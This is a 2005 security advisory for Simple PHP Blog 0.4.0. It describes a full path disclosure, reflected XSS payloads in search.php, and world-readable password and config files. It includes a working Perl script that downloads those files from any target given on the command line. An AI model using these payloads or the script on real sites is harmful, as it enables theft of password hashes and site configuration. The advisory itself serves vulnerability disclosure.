ECHO_ADV_12$2005
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Vulnerabilities in sphpblog
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Author: y3dips
Date: April, 13th 2005
Location: Indonesia, Jakarta
Web: http://echo.or.id/adv/adv012-y3dips-2005.txt
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Simple PHP blog (sphpblog)
version: 0.4.0
lisensi: GPL - http://www.gnu.org/licenses/licenses.html#GPL
url : http://sourceforge.net/projects/sphpblog/
Author: Alexander Palmo (apalmo <at> bigevilbrain <dot> com)
Description: simple Blog without databases needed
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Vulnerabilities:
~~~~~~~~~~~~~~~~
A. Full Path disclosures
http://[Url]/sphpblog/scripts/sb_functions.php
Ex :
Warning: main(scripts/sb_fileio.php): failed to open stream: No such file or directory in
/var/www/sphpblog/scripts/sb_functions.php on line 52
Fatal error: main(): Failed opening required 'scripts/sb_fileio.php'
(include_path='.:/usr/share/pear') in
/var/www/sphpblog/scripts/sb_functions.php on line 52
B. XSS in search.php
http://Url/sphpblog/search.php?q=[XSS]
http://[Url]/sphpblog/search.php?q=%3Cmarquee%3Ewe+are+a+like%3C%2Fmarquee%3E
http://[URl]/sphpblog/search.php?q=<a href=http://echo.or.id>echo</a>
C. Critical Information dislosures
Critical file (password and config file) are vulnerable to direct access
to view 'critical' information about the blog and the user.
Password file are using PHP`s crypt() function
http://[Url]/sphpblog/config/password.txt
http://[Url]/sphpblog/config/config.txt
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Script:
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#!/usr/bin/perl -w
# Remote grabbing sphpblog password & config file by y3dips
# Bug find by y3dips <http:// y3dips echo or id>
# Bug published at http://echo.or.id/adv/adv12-y3dips-2005.txt
print "\n* Remote grabbing sphpblog password & config file by y3dips *\n";
require LWP::UserAgent;
if(@ARGV == 1)
{
$target= $ARGV[0];
my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;
my @url = ("http://$target/config/password.txt";, " http://$target/config/config.txt";);
foreach my $urlz (@url) {
my $injek = $ua->get($urlz);
print "\n-------------------------------\n";
if ($injek->is_success)
{ print $injek->content;}
else
{die $injek->status_line;}
print "\n-------------------------------\n";
}
}
else {
print "Use: perl $0 [www.target.com] \n";
}
# EOF y3dips(c)2005
# greetz :
# @echo|staff = qw/ m0by the_day z3r0byt3 comex k-159 c-a-s-e s`to lirva32 anonymous /;
# @waraxe.us = qw/ waraxe LINUX shai-tan all_guys /;
# @echo = qw/ newbie_hacker@xxxxxxxxxxxxxxx #e-c-h-o_@_DALnet /;
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Shoutz:
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~ m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to, lirva32, anonymous
~ waraxe and all frineds at waraxe.us
~ newbie_hacker@xxxxxxxxxxxxxxx ,
~ #e-c-h-o@DALNET
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Contact:
~~~~~~~~
y3dips || echo|staff || y3dips[at]gmail[dot]com
Homepage: http://y3dips.echo.or.id/
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